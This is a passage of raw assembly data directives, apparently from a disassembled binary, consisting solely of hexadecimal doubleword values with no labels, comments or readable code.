		dd 0B248B82Ch, 0AA534CD5h, 0C97E127Dh, 0FDC01066h, 7E2C182h
		dd 414C4940h, 0AF2B212Ch, 0D1113D09h, 54528FCBh, 0E8CCE364h
		dd 0E1F6848Dh, 68BA42AEh, 4A4634E7h, 0A5CD544Fh, 3B8E528Ah
		dd 146850AEh, 184E1949h, 0E7CDF8C3h, 0C0DAD6FCh, 59199BA9h
		dd 5729492Eh, 78AFE909h, 0CDBE008Dh, 0BB373811h, 10750FB0h
		dd 2BF53FEh, 5E24BA06h,	2334082h, 477B315Ah, 0D1A6817h
		dd 6CC59CA8h, 0BC7D19Fh, 27312E9Dh, 9580F362h, 5247DCEFh
		dd 0CF090146h, 0C67C0768h, 10F838Ch, 2957B02Ah,	21DF0111h
		dd 5B0802E2h, 0AD48DA8Eh, 41F6512Fh, 0A502B951h, 0BFF8D00Dh
		dd 0AB201192h, 0C1FE58B1h, 0E9D9F604h, 52EFDDDFh, 4A380CE7h
		dd 44FCCD3Bh, 1BBBB6Bh,	5C8A13C0h, 8035842Eh, 1945094h
		dd 0A7520A3Fh, 0C0E94220h, 0FDD3A76h, 0C2317402h, 2C6178ADh
		dd 41E9E051h, 5BE495EDh, 0DDBE1B90h, 98CA5F1Bh,	0A17CF543h
		dd 5803B4EDh, 42A11802h, 70C15AB1h, 0F19D3042h,	8737EEABh
		dd 569B9306h, 2CBC5E59h, 3A9C616Fh, 28D13099h, 8949745Ah
		dd 7684DE5Ch, 1513CA0Fh, 84F3894Eh, 0D3CC9AA7h,	940D186Fh
		dd 3D5B2829h, 0BA1DDF28h, 4B2FF002h, 0A014E9F4h, 2AFCBFFAh
		dd 4A627A9Ah, 577381A8h, 0C466285Ah, 22F2D601h,	9D9DC82Ah
		dd 168DC21h, 6ECC6F5Ch,	0FB03827Dh, 0E702D26Bh,	8B4F28E2h
		dd 0DCBA4068h, 0C5F44FFDh, 7356BB00h, 8012F5BCh, 6C2ECDCCh
		dd 0E9E05E45h, 344CE819h, 0C204D8F7h, 19715219h, 0C5624EA6h
		dd 929CC758h, 3369B1AFh, 425D2D02h, 3CD0697h, 20E7B006h
		dd 7CFAA0EEh, 17D79B5Ah, 20D24F90h, 0EDCA0481h,	0C054763Ah
		dd 1B6C262Bh, 33C41D50h, 59167396h, 0BF6C6F9h, 9D766EB5h
		dd 525324Eh, 0D2957208h, 0AA14C48Bh, 0A58DCA13h, 80DE1A30h
		dd 8103EBD1h, 0B61CFEE3h, 40F3B06Bh, 0C8DB4A4Fh, 3880D73Ah
		dd 4DDD2853h, 803A5EEDh, 881DB67Ch, 51FCF57Ah, 0B7E7B10Eh
		dd 59CF00FDh, 2F90C780h, 1E850DE9h, 0D1C50430h,	89BDB917h
		dd 40CE5EFBh, 5CEF353Ch, 15B3595Fh, 4C028A92h, 719AA207h
		dd 0D4F825EFh, 0F1EEBC2Dh, 82B326F4h, 368C2795h, 0BF4084D6h
		dd 4CA156C5h, 0CB1FAA3Dh, 4F73410Bh, 7E45DBE9h,	4D460BD1h
		dd 0F5EAB153h, 4C37F4C8h, 0A3D6FBD8h, 0EE83124Bh, 3817E204h
		dd 40AA07B4h, 3AEEB85Fh, 25645101h, 5DFA4BD1h, 0E9CF036Ah
		dd 525A9ECFh, 0C0312E90h, 86023BEBh, 2AA1277Fh,	4E7B4AA0h
		dd 2D4F5215h, 60571188h, 5AF48148h, 5851E330h, 0C61448BFh
		dd 0BE8C0A5Fh, 4A04139Ch, 0A2FCA854h, 85907C31h, 0B4B549E9h
		dd 122568E5h, 0B1E4E675h, 0CC3F8AA2h, 9EA440E8h, 214CD905h
		dd 55500146h, 8C282FBDh, 0F012E0EEh, 563E4CDDh,	31AFE839h
		dd 3AF69740h, 4AE47904h, 0ACA8F501h, 0EF5CE9C2h, 0F6C28DA1h
		dd 20E0E4DAh, 212DAB9h,	944FD7F3h, 0A9AFC204h, 0B90E2A76h
		dd 15E5244Bh, 0E1C1F7C1h, 8831802Bh, 0E0B79A66h, 0AB1C6F9h
		dd 0CF890E45h, 2973AF9Ah, 3760799Fh, 0A11F14F7h, 4540C7F4h
		dd 214BF90h, 3ED52477h
		dd 0F3FA09AFh, 504F672Fh, 57DDF7FDh, 0EF75BF04h, 8AB0D971h
		dd 3931142Dh, 0AD18EEB2h, 9945850Ch, 61C38080h,	66C706BAh
		dd 0CF917F59h, 0CC2E8734h, 1827E9A3h, 4994794Bh, 9A30A291h
		dd 63063210h, 68E3175Eh, 286EB32Bh, 0FA35E253h,	0EEC9835h
		dd 2330FD58h, 4943B999h, 9321EE26h, 0ACF18183h,	0C8089A59h
		dd 303597AEh, 181A485Dh, 552729C6h, 0FAEFC389h,	0F9F70532h
		dd 98D2109Bh, 68535707h, 4F332751h, 4EE29185h, 0DF41D7C1h
		dd 0BF03E7C1h, 0C2A62D0Eh, 3F4E94C1h, 9AF9F201h, 0A15A5A7Dh
		dd 24F9C989h, 30181A0Dh, 519A3298h, 71FB246Fh, 1610B1Eh
		dd 40A65BF3h, 2D067A2Dh, 405359CEh, 5760802Eh, 4F099E68h
		dd 41670B7Eh, 75C275FEh, 8CC40F25h, 4B8B3C5h, 443235F8h
		dd 0D900BC7h, 0E52E11BCh, 2E5216Eh, 8C60E435h, 0F22D5402h
		dd 0D03EF4C0h, 0CA892590h, 6962321Ah, 475F6BE1h, 22E682DCh
		dd 7C83A4DEh, 0F5D4127h, 7D3F320Ch, 0B811E902h,	1FAAE853h
		dd 0E9619A99h, 76C0C10h, 325A079Ah, 0C9D36627h,	0C5749732h
		dd 3C2B758h, 1116941h, 970DEF6h, 6382F4A5h, 34E19F3Eh
		dd 0EC0F7FB1h, 68B7A772h, 0E4F7F250h, 17D058D2h, 1C2DBE13h
		dd 447E97C6h, 0AD5F5433h, 0B4E385B4h, 581483E6h, 34174C18h
		dd 0DEB7A941h, 0CB97E2CAh, 0C699E3ACh, 94F8AD27h, 401DD6B2h
		dd 0EEC0BF68h, 0D63AF605h, 0BB27B980h, 0F32816EBh, 1804DD16h
		dd 0AC03FB75h, 0AC27F2Ch, 0D682D070h, 68846E6Dh, 66E84BF7h
		dd 0A521A8D2h, 23BCF753h, 0D182C4A4h, 0ECDCBBD8h, 91369A7h
		dd 66B05BD9h, 0A5FF5C4Bh, 30F6E592h, 39633C6Ch,	0C2404789h
		dd 8485A90Ch, 39C32449h, 340C3091h, 0E3C0B2E6h,	19C5075Fh
		dd 54B39C0Bh, 87712716h, 1BA5E249h, 29E71261h, 111CCD5Fh
		dd 4A374A62h, 5BFC5D8Bh, 0A0517088h, 9F96B7E5h,	0C781C638h
		dd 305E44BDh, 0DD695420h, 0E85B315Bh, 9979D0C2h, 0E57057A8h
		dd 0FB220095h, 18C28146h, 2F07DA15h, 0E908E2C1h, 0F334C91Bh
		dd 28AA55E0h, 4095575Ah, 0C87720EBh, 0B0D9142Ah, 0DE15BDD2h
		dd 87680BBDh, 66C87429h, 8EC4AFFEh, 50B84FA2h, 4D5E1C4h
		dd 0F085C329h, 78689E02h, 602AF415h, 3A901009h,	93CF8102h
		dd 0FC2BE255h, 6718003Bh, 0B9F3E95Ch, 0D8E9A09Eh, 16E74A08h
		dd 92DFB249h, 0E05564AAh, 0C28B40ABh, 20356ECDh, 0BB05CFEBh
		dd 62137970h, 3C631281h, 0BAA17138h, 0FBB4112Ch, 5BDA7F89h
		dd 232C8F56h, 7A43F002h, 5182D550h, 0CD22699h, 0F3CE2897h
		dd 0B596D069h, 11701789h, 183409B3h, 5826E9D4h,	0C3310C07h
		dd 978A8F66h, 0BD469540h, 48C65AE8h, 0E5BE0F9Fh, 3E89D01Fh
		dd 1E493020h, 1B4F1304h, 0EC1204DBh, 9BA23208h,	0A65A03C5h
		dd 0BB450B5h, 1F58180h,	4F1E3F29h, 0F806EDC1h, 89249BAh
		dd 2CE5D132h, 0ACB2DF4Bh, 361DB582h, 0B9139A79h, 0B8D875A9h
		dd 3E307944h, 76E9B748h, 4729DE98h, 0B20D1834h,	5D7F901h
		dd 0D4ED02ADh, 0AF0AA224h, 88516618h, 9252D139h, 0F50D50CEh
		dd 1E248D47h, 162C5E68h, 4AC5E22Ch, 0FE31EDC1h,	0B107E4DCh
		dd 2152A515h, 0ADDB3BA2h, 555DEF09h, 511D3096h,	53023AB9h
		dd 5849E939h, 8EC0BC7Ch, 0F0D3A722h, 3D182BCDh,	0DE0C7730h
		dd 1A132C4Dh, 29CF0217h, 287D0999h, 1C340802h, 200F1424h
		dd 30E33588h, 84E9B75Bh, 53499594h, 4ED928CBh, 40E247D8h
		dd 0F641801Ah, 0B5C06F34h, 68881F43h, 18BD7045h, 81296623h
		dd 0D1E02047h, 39508EE0h, 57132782h, 7FA2C021h,	63660225h
		dd 0D25C0DC5h, 0A193688Dh, 0C2F5D66h, 61AEC2BDh, 8B394A48h
		dd 0B7598727h, 7ED9CCB7h, 28E153A9h, 96DC220Ch,	4915AF4h
		dd 0E922C758h, 52F7E0A0h, 215D41ECh, 192B4873h,	4A0F2586h
		dd 30E281E4h, 0CA0A02FAh, 0E92C4CA6h, 2987A44Dh, 0C1C05EF1h
		dd 60494BB9h, 0BA690C73h, 894CAA07h, 367C12A7h,	0FC453DABh
		dd 0B8BD14CEh, 1796830h, 5B4AD61Fh, 2F06EBC1h, 5E1D4C00h
		dd 9AF1E96Bh, 9CBF0023h, 472C0545h, 7A5ED868h, 7AE00B4Bh
		dd 90A405E0h, 0AA315A9Bh, 177F1F14h, 0C08E040Ch, 3D4C444Bh
		dd 0D3F706F3h, 2EDB5805h, 5FF51703h, 18AAE9A6h,	0B2C9A75Ch
		dd 37A2DDE1h, 5500390Eh, 289EBF57h, 27B87E7Fh, 0AED1B891h
		dd 0E6BB123Ch, 0EB90FEE8h, 5A0FC25Ah, 6AB09D43h, 81071F8Eh
		dd 785B75F1h, 2F0AD609h, 0D0F0EE64h, 8D2C2F4h, 298969F9h
		dd 169D15D8h, 0CAE9512h, 0B007201Eh, 58C188FFh,	6666CF02h
		dd 0C00213BBh, 0C3E8EFh, 0F4B252A5h, 0D22F36E9h, 31E00451h
		dd 0BF4395C1h, 608BD29h, 5A681650h, 1B836014h, 6D7D2A7Fh
		dd 0D01342Ah, 5F535865h, 0A40194D4h, 17593784h,	0AC5FB02Ah
		dd 0EDB80340h, 3E495BF0h, 0B617D829h, 0EAA482DBh, 40EF3205h
		dd 20F9F588h, 8AA26F8Eh, 0CCBE177Ah, 0EF2E0473h, 0E11A08C8h
		dd 0A6A5487Bh, 7B07280Dh, 8C3B1129h, 0FA9B9EDh,	5908FC4Ch
		dd 0BCA5CC9Fh, 27904021h, 980D69h, 26429241h, 3C20E0F6h
		dd 521C94B7h, 3893807Dh, 4B91E4Dh, 0D7330D6h, 0BCC68531h
		dd 158E1097h, 106A4226h, 4B815E25h, 0B328EA3Ch,	8154F04h
		dd 30A7C065h, 6116419Eh, 7FD2D831h, 0BA4768ACh,	0A43000BEh
		dd 65F2814Ch, 7B48434Fh, 0D7E90934h, 9454A9Eh, 854AC5D7h
		dd 0EE377668h, 5DE9BE2Ch, 745F60FAh, 0A8062522h, 5531246Fh
		dd 0FEC8697h, 4DF30698h, 4BAD305Ch, 0C47E9B15h,	2CA4F480h
		dd 2C6717DFh, 45081A0Ah, 85274DE6h, 960350C8h, 13288A4h
		dd 78C0AA4h, 1CCF9D23h,	0A58762C8h, 0E7C86F63h,	12E23C0Dh
		dd 1B02CFB0h, 31053443h, 1EA00FAh, 0D849B1E9h, 0C83A84FAh
		dd 47E8BD00h, 6E9071F6h, 0D70C9813h, 0BCA625C6h, 6C581422h
		dd 40F0C1CFh, 6C1E12EAh, 0C5CC21BFh, 9F6BBDB6h,	8481ABC6h
		dd 48A42DF7h, 2D5F14B0h, 478FC4C9h, 2396E9A8h, 4A10EAB2h
		dd 0B9CB551Bh, 0F90B43E4h, 0F1142BE9h, 90D388C0h, 3607292Ch
		dd 5924ED7Ah, 54F85BB0h, 9E2A045h, 37753D16h, 43122901h
		dd 0D2E9F82Ah, 0FA9009Fh, 4AF068C8h, 0E4A73702h, 855B0BEEh
		dd 9595BDABh, 3885F7A8h, 13DFE3AEh, 24321631h, 82A4C354h
		dd 264A5929h, 0B32A0A40h, 0BA01929Ah, 69FBC734h, 0CB767A65h
		dd 0F362A46h, 90522CCDh, 4E5342ABh, 75EC6801h, 4226218Ch
		dd 0F70BBD0Ah, 7E209A4Ah, 0FCAF12BEh, 0D7A34E8Bh, 0ECD3011Ah
		dd 0CEB08B55h, 0B378C45Bh, 5D54073Fh, 25A81974h, 398F5924h
		dd 60FB28B9h, 0B7534198h, 0FD393032h, 1FE8AC5Bh, 44288309h
		dd 0B218F0C3h, 7C0797ADh, 75C749ECh, 98B5327h, 1571C6B9h
		dd 9090D92Dh, 0A35D1014h, 591BA05h, 0C213C0B5h,	0DE244735h
		dd 3C030268h, 0B6EF00Dh, 4F367218h, 5A131C76h, 22348501h
		dd 0C822B87h, 26DC7965h, 5A96C055h, 0EFB29089h,	0F10231CCh
		dd 0A066BC42h, 6550584h, 840F5B48h, 0A40712D5h,	0B9DCC5D6h
		dd 690DC02Dh, 64ABBF95h, 92F4E258h, 89714B49h, 0D573E2ABh
		dd 0A0BCD138h, 2824C7BDh, 8E2F4E5Dh, 0BEB70089h, 885AF728h
		dd 0E921C2F9h, 6F4BE868h, 1069CAECh, 5825FE95h,	0C7B7BDE6h
		dd 0DB90AD94h, 0BE8098C9h, 28797658h, 95A13115h, 2D00430Bh
		dd 59A74F11h, 20CB2120h, 20BDFB7Eh, 0E0EF8119h,	0F1E45E0Eh
		dd 0DB6CE0D5h, 63E92608h, 5051D54h, 0AC3ACE67h,	8B074102h
		dd 44C67B4Eh, 5E28F0F2h, 36B9544Ch, 0FE61822Fh,	0F15F2066h
		dd 0CB286F12h, 0BCF445F8h
		dd 0F3B34BB1h, 0DE9501CFh, 68F3AF25h, 0D4575396h, 5BB2EDBCh
		dd 129ABCDFh, 0E3031AE9h, 0CAD84A23h, 2A610B68h, 7DF0700Fh
		dd 0C569E702h, 60514627h, 1595DEEh, 2AB923A4h, 2C1D351Fh
		dd 0F01C60E0h, 0B0750A5Bh, 2836762Fh, 0FB95631h, 1D58462Fh
		dd 5C30C780h, 22970E8Fh, 1B8D01Dh, 0E108EDC1h, 0FA717530h
		dd 0D48956F6h, 7A7D743Fh, 15C99900h, 0F7004517h, 3E8C1D8h
		dd 4513540h, 0E93BFD47h, 0AD8BE03Dh, 0EA3D95B8h, 2D25807Dh
		dd 4C695831h, 57D02F29h, 3C5E17D8h, 0F0169024h,	0A26DB6F1h
		dd 0F304AFB5h, 9A1021C9h, 2664C227h, 4DF4320h, 295BD931h
		dd 5058E4Fh, 5B206852h,	0A45F42A2h, 7F433D57h, 840DE913h
		dd 5F58B37Ah, 294A7DA6h, 67FB48CFh, 895F8D49h, 5B94A4E0h
		dd 0BF521A9Ch, 0FA435B80h, 0E8723117h, 8C569h, 0E0C195F3h
		dd 82350206h, 89016F04h, 9D709962h, 0CBC1AEB5h,	0B545213h
		dd 32B63560h, 2A2ED280h, 0E9512571h, 94457FCEh,	6091A23Ch
		dd 0A9286FF9h, 70293FC1h, 29883A17h, 4CE820E9h,	0A895FEA3h
		dd 0E175075Fh, 0C9FE362Fh, 0EACB76A1h, 0C6414C97h, 862C455Dh
		dd 3AD33B5h, 5F07EBCBh,	0BA1D4B44h, 6DC537FEh, 92015853h
		dd 6A11A3C5h, 61EDF340h, 32EC2710h, 883C252h, 0E9141C40h
		dd 91FD8A30h, 257833C7h, 57C43BB0h, 2C013A4Eh, 0C213022Dh
		dd 6A488120h, 0A41AE105h, 38B0C65h, 4A9FC282h, 76B2605Ah
		dd 0C2015075h, 603DB8DAh, 67F16BFBh, 0AEA1A350h, 3681AC94h
		dd 1AE01601h, 0B4F0EA09h, 0CB129FB9h, 6816CCF2h, 0EC9032Fh
		dd 0B910BD22h, 81BB1FD6h, 43233201h, 1C20D3F7h,	3C730648h
		dd 0A4DA0967h, 0FEC9F201h, 65E9CFEAh, 5F512964h, 106A4B9h
		dd 0A94EC87Dh, 0D8311700h, 9B4355Bh, 50B16259h,	520195FCh
		dd 5D28C52Fh, 744F5E1h,	571AD482h, 8F24D2E5h, 0B098564Fh
		dd 12AD4AE9h, 0DE90B83Fh, 54EED1C9h, 53C5904h, 0B34A44A7h
		dd 65C300C3h, 0D6F73956h, 0E952768h, 9C275B46h,	6947D14Eh
		dd 7FC26309h, 6825E44Ch, 0E53274BFh, 0AFCB5DE7h, 1F4B6493h
		dd 29684DDCh, 858607A5h, 0FFB22EE9h, 280F8E56h,	258049CDh
		dd 0A5B25D0Bh, 8BB41B4Ch, 0AE985F4Ah, 0B021BA26h, 13462FD8h
		dd 5664D071h, 29354A80h, 0C1343F12h, 7DAE07A7h,	581ADCC0h
		dd 0C398552Ah, 68EDBC2Fh, 5EDDE97Bh, 862BA2EEh,	4BCF9917h
		dd 0CD75ECD7h, 57E28456h, 0E809E946h, 92C8310Ah, 0DB72C157h
		dd 0E511CD6Ah, 277E2C23h, 147F205Fh, 25393F53h,	77746C01h
		dd 0AA300C68h, 1F4A3C26h, 8B542923h, 0BD905A08h, 93949E35h
		dd 0C285C693h, 0B8AAC0Ah, 0A72C2E0Dh, 0F64EEA8h, 724946AEh
		dd 190D31C4h, 69206BCh,	0FF930C05h, 0B32AE903h,	3198808Bh
		dd 0C413535Eh, 645DD872h, 0F708C5CEh, 0B0825D0h, 1FB2C13Bh
		dd 123ECD54h, 804EE4E3h, 0A0BD4355h, 0EF21B371h, 0C1B05D97h
		dd 4A6807E1h, 0DF39B8BEh, 3FF4BA87h, 4FE94240h,	972D92F6h
		dd 0FD7E6F6Ch, 189C1C26h, 65674482h, 0EA084B12h, 252E7C54h
		dd 0A27A3576h, 0DB5453D4h, 9FB900FEh, 0E90FD54Bh, 224DF02Fh
		dd 0DEAC9CC7h, 0BC0A65A3h, 4F14A91h, 10F6EC8Ah,	5BB9ACFCh
		dd 933DFCF9h, 0B5FDEE91h, 0A00F969Fh, 0C5098046h, 7EE82871h
		dd 3876F935h, 665A12BDh, 767455BCh, 0F7013F1Fh,	0BE123692h
		dd 0CB99338h, 0D3E6938h, 69A8CFB0h, 0DB4BC380h,	6D68C5C0h
		dd 66989D4Eh, 0CE0480DAh, 0F199E9D0h, 50E00116h, 0EF583867h
		dd 1713E89Bh, 1FEC19A4h, 323DCDC4h, 6C815753h, 8A053EE6h
		dd 0E82507FCh, 5CA2D096h, 0B7E950C1h, 4A2F23BDh, 0F7795C04h
		dd 71C5AD0Eh, 429CA74Fh, 2B6713AEh, 5F522952h, 19B21E00h
		dd 1563DF2h, 8435DCBEh,	3C11E976h, 0DEE05FB0h, 891B4A6Eh
		dd 28CEFDA2h, 2FCA4CCAh, 447DF1EBh, 0C2A2042Ch,	83E3F0F8h
		dd 0E9313662h, 8CE255CAh, 0ACBD655Fh, 0A0E958ADh, 4C7A8B9Dh
		dd 0BE4F27BDh, 0A2430D71h, 0C31703D0h, 358D17E4h, 8791EED9h
		dd 525FFADFh, 0D6024A2Fh, 507504A7h, 0E8016EF1h, 226E2175h
		dd 0DCFC5CB5h, 19E8689Ch, 0C4E91C0Ch, 9C76D96h,	0B02CCC40h
		dd 182DFB76h, 62D468F1h, 0E0B29F5Ah, 5F348B02h,	56813EEFh
		dd 455D5E55h, 74DEEEE5h, 98CC3C49h, 4A7EA90Eh, 5AD62983h
		dd 0BE1F29Bh, 94A693C9h, 9557D3A0h, 9699C394h, 0BCBE9427h
		dd 0D5452CFh, 7647E962h, 9CAC1EE6h, 0FAD812B0h,	9CACB725h
		dd 0F5E9127Bh, 951A790h, 0F45E5456h, 0BDCDC4BFh, 59EE0201h
		dd 8037C915h, 0C00EB69Ah, 0F218C034h, 0E960FE40h, 45BFB2EAh
		dd 0A75D09B1h, 296F33DEh, 7DA72996h, 0C025C896h, 0A9CC18E1h
		dd 614282E5h, 92476841h, 2FADD52Bh, 0A0B652E0h,	9FB75300h
		dd 81FF780h, 0A5B76FEh,	0F530A2C6h, 8EE9E21Dh, 5E581050h
		dd 0F4A14E32h, 0D3DE036Ch, 29F7C14Dh, 72D321E8h, 6AB82D55h
		dd 2487601Fh, 9197660h,	636585E1h, 3E9983D5h, 245A671Eh
		dd 81AB74B6h, 6A0312DBh, 4DBAAF40h, 0F84923D8h,	0CCEA4B6Fh
		dd 1641577Ch, 48F77E42h, 4A05686Ah, 0A4BFA84Eh,	0A4B59BE8h
		dd 0CD9C0A54h, 96052C13h, 83B8C3EEh, 0D28A27D6h, 0E8A0C9AFh
		dd 0F94839F6h, 7DF5205Ch, 904ADC20h, 14B12572h,	506103FCh
		dd 0F6DC57B8h, 0FB2D011Ah, 0D14D1E26h, 0A3003AE8h, 0CC654C05h
		dd 77250C18h, 22286D0Bh, 24B0CE0h, 12FBA052h, 7271BBE9h
		dd 0A232395Ch, 9559CB9Eh, 86400052h, 0F0E34A88h, 283AA516h
		dd 6FEBF2C3h, 8FD49561h, 77144E72h, 108EC143h, 8167A0E0h
		dd 5F17ECC9h, 1013F17h,	417DE903h, 0C9B4F32Eh, 0B969A0D2h
		dd 0BA5DA26h, 58C12951h, 0C8B062F0h, 26C15958h,	5A96D257h
		dd 17CE79E0h, 5360E007h, 926CA0AAh, 0A614D1C8h,	0BC2644E8h
		dd 5D3581A5h, 0EE64B2A3h, 0BA31B057h, 1D6E92A0h, 60E8AC3h
		dd 6CF30176h, 3242970Bh, 0D1598214h, 0D8654811h, 4F90F2Dh
		dd 8D89198Ah, 0C24A6EFAh, 5D2F15BDh, 9864DA32h,	34685202h
		dd 47407561h, 4DD518A8h, 311240BEh, 0D4E85202h,	2D405696h
		dd 3500EB97h, 52438EBBh, 0C08FBE61h, 5BDE290Bh,	0EB98F101h
		dd 28283063h, 7E1EBAC6h, 0BD05012Fh, 0D45DE478h, 9F244C61h
		dd 0C53DB20Eh, 0E077C407h, 0BEBC964Bh, 8CA7152Bh, 63BA680Bh
		dd 7FBF0859h, 9053940h,	7C15C6D2h, 45A3770Fh, 0E4D86CF6h
		dd 0F2507F14h, 1F1309D0h, 50AE179Bh, 5818083Bh,	5A381329h
		dd 2D727558h, 8FD46928h, 0B684107h, 0E921E225h,	97883B34h
		dd 682C019Bh, 2C17AC10h, 0D15AF1CEh, 809D2E5Bh,	58684084h
		dd 5213CC05h, 0F686B209h, 8E9181D2h, 566DFA28h,	54871A10h
		dd 9048EB9Ch, 2A4576A5h, 0ECE9A8E7h, 901990Fh, 0C77AEF77h
		dd 1EE78880h, 2D159002h, 61FD3493h, 4528B258h, 3F54B902h
		dd 7D703ACDh, 0F649A760h, 73E480DCh, 69EC3E16h,	9242DEADh
		dd 54ED23F9h, 30029B2Ch, 285B66FAh, 403FE1C3h, 0F07F969Eh
		dd 7772E0C9h, 5A8C6882h, 0E9090351h, 0DD7EE254h, 0B05A281Eh
		dd 5B5422C1h, 3C65C20h,	0C122423Fh, 0CC2003EFh,	0B314B2Bh
		dd 0C7158A9h, 4E322516h, 9A9A8455h, 0C85CA817h,	59CDAEFBh
		dd 40665E3h, 929DBD9Bh,	6809B1F7h, 6F467BBBh, 8F65B4E1h
		dd 9D8D6EC1h, 19D1AA04h, 612A5452h, 3422E917h, 21276876h
		dd 57AD187Ch, 0CE6C95F2h, 9A316C90h, 3F053134h,	3D81E00Dh
		dd 8320B4ACh, 31AD031Ch, 2DF268D8h, 37F7E715h, 207F1C94h
		dd 4208942Eh, 4C680489h
		dd 5030F205h, 0E0F2B135h, 32354407h, 68C10636h,	4F8912CFh
		dd 8310469Ch, 38E95AD3h, 10020F6Ah, 5C016662h, 4418C80Eh
		dd 0FDB64469h, 7792CF61h, 1AF858h, 52237369h, 124BD3F7h
		dd 0EDBAA1E9h, 7F2C07F5h, 82B468F8h, 0C1FED890h, 9D0BF080h
		dd 0F63C3150h, 0B4E316DBh, 0DDC018B1h, 0FCE8E05Bh, 0A54E502Ch
		dd 0CFB654D5h, 9F3B7268h, 0D22016E4h, 0D988268Ah, 8AAB2581h
		dd 0F689BA56h, 6BC3D4CEh, 0B74C5DBAh, 3BE6294Bh, 0D25A685Dh
		dd 9AF5D74Ah, 29C7DB1Fh, 0CA5F1270h, 40F25BFCh,	86D3FC92h
		dd 98190FC2h, 0F28103F3h, 6BEE4AE7h, 5DD6EAB0h,	0E116C03Ch
		dd 83A7D30Eh, 35D789CCh, 0A85547E9h, 0DDA92h, 0E9640F93h
		dd 0D53E5415h, 0AECF0581h, 824A2E67h, 0B5806B7Ch, 5AD7018Dh
		dd 2C7D3151h, 95E9085Eh, 97591F2Ah, 0D8A2BCE8h,	1D619D3Eh
		dd 93E9148Ah, 5BEA32Ah,	157023CFh, 41799CECh, 0C16F0291h
		dd 2917E85Dh, 979BB8D1h, 0CC258845h, 138B0232h,	0E868169Bh
		dd 0BA816E71h, 595321AFh, 0E9DFC16Eh, 4BE93CBBh, 0A9044CD7h
		dd 546267EFh, 92F3B3B9h, 680B0ECBh, 49DE58A3h, 7D205179h
		dd 0EF6427E0h, 2D015778h, 0E926E105h, 5B02454Bh, 884C1B79h
		dd 70864A6Ah, 0F86850A4h, 49F53516h, 0C3C20F09h, 7E73DA49h
		dd 304BAC46h, 633CBAFh,	0C398730h, 7C164D3Bh, 69F3011Ch
		dd 0E9F421AEh, 5E1D3452h, 0DC12DCE3h, 244978B4h, 0CBED308Ch
		dd 0CB816916h, 0E0817678h, 99595549h, 90C78DAh,	23FD19D9h
		dd 1480C4B2h, 7F92655Ch, 893FE92Dh, 0C1E3F1CCh,	0AC0A1DE9h
		dd 5008DCAFh, 0A521173Dh, 74643B11h, 0D07E98EBh, 68FD50E9h
		dd 18BD0222h, 5B703602h, 41E1C70Eh, 0D833B645h,	190AEBC6h
		dd 0B6460BDBh, 73F8BB12h, 1E20FDC4h, 7B28778Ch,	0B8AC4AE9h
		dd 679E8163h, 857A13BEh, 0A95D802Bh, 0A4A0DE15h, 6D176BC7h
		dd 742477FCh, 4FE90804h, 51AC09FAh, 0C976B6D7h,	0C6285873h
		dd 7AF800A4h, 0D2F74D7Fh, 0DFC6497h, 0B280850Bh, 5E1E7964h
		dd 0F3D544C1h, 0D51C897Eh, 954A06A6h, 0E25531EAh, 2D167DB1h
		dd 2D9288B4h, 9F41D7E0h, 0E5D35BC0h, 7F387CE3h,	8502A54Fh
		dd 0F16A3568h, 0DABD8C52h, 8100CD7Dh, 8C638AEDh, 2F685928h
		dd 0E09A4ED0h, 0FD439DFCh, 6D7D485Fh, 5685D6Ah,	0A8500A97h
		dd 79E504BAh, 0FB8531CEh, 0DDC9AE00h, 7A101428h, 6CE92A56h
		dd 5E4795AFh, 417E3C10h, 9F012288h, 90B0EA56h, 0D829764h
		dd 307D7FDFh, 9CAA548Ch, 0EBAB663Fh, 0FDD27CC4h, 4EE46802h
		dd 0E9D0BDDEh, 431D4FCEh, 97798621h, 5EF729C8h,	4203D19Dh
		dd 69CA32E9h, 29E42C74h, 3B1199EFh, 0C55AD9E6h,	295D218Fh
		dd 79D81D0h, 581EE472h,	0AD63C82Eh, 0C4BE49ECh,	0AD8B4B3Eh
		dd 31684454h, 0E59742AAh, 31EF05CCh, 59C897Eh, 11BB0CBBh
		dd 0D75CF6E5h, 16F05F3Ah, 58719E5Eh, 0C6B1050Fh, 3A147700h
		dd 0FAFE0916h, 55B36527h, 3B184468h, 8A6889CDh,	0C243C83Ah
		dd 8CC508h, 2E69BE56h, 31B44DB1h, 9A204212h, 25214008h
		dd 617801D4h, 48C6CE4Dh, 5357C076h, 987D6855h, 5D7C2D40h
		dd 0F5817C60h, 41CBD80Bh, 0CA370449h, 384C0213h, 0A645137Ch
		dd 0CE00E5A0h, 89F68DD1h, 4A10E9DEh, 4ADFF212h,	0AF0BF8EDh
		dd 7987C404h, 559472Ch,	0B5EFCD8h, 5CD9F63Eh, 1E801630h
		dd 7CD11D9Fh, 4887912h,	0BC08D0EEh, 34D497DEh, 612DB21Ch
		dd 75E0FB7Eh, 30AFBDF5h, 0DA2504EBh, 846AEC66h,	0AF127E68h
		dd 79921617h, 57B2F75Dh, 2C41D5Ch, 0C412BE50h, 5433ABE1h
		dd 8310D607h, 0A05B40D7h, 33E703D4h, 5DEF29E8h,	887F84F7h
		dd 0FA5A8B42h, 40EE7424h, 6C41A0E1h, 0E57B8142h, 622B0202h
		dd 0F856DDF7h, 69287E3Eh, 0EB00B401h, 220536E6h, 0E3C43AF3h
		dd 8E90805h, 6243B1ECh,	9D72AB92h, 79C2020Ch, 78C0E64Eh
		dd 12FA4826h, 6A00BDD1h, 4EB97623h, 2E6572CEh, 60C78A8h
		dd 0F0526A1h, 7EF40300h, 0AC481EB6h, 5E08408Bh,	3C7E319Dh
		dd 786F3E65h, 7D609126h, 23A8F2CFh, 2C315C8Eh, 78FBA32Fh
		dd 405D49B2h, 0B988E9D5h, 448920EBh, 0F63CC582h, 2733B52h
		dd 20040DCDh, 0C7C9840Eh, 74E8D107h, 30C2A0C1h,	285BD912h
		dd 2BCF3F05h, 9303DAD9h, 1CD13BDh, 0CA25BA21h, 65172CAAh
		dd 0BFB32FE5h, 0D5ECB94Eh, 99181725h, 5D286F8h,	0ECE1955Eh
		dd 0FB4CDE0Fh, 0EEF827E2h, 21ADD496h, 9D504205h, 40F9E82Fh
		dd 147B78FAh, 1E203A4Ch, 0DCAC3DA5h, 1E97F201h,	0EAE04944h
		dd 59A80B1Dh, 0F97A2917h, 92EE843Bh, 2DEE01CAh,	0A2527CD0h
		dd 20AFE431h, 8CC37CBAh, 0D139B57Ah, 283EDD09h,	3125CB86h
		dd 0AD1FB13h, 40F6D68Eh, 1E2B6AD3h, 75E30CC0h, 984A584Eh
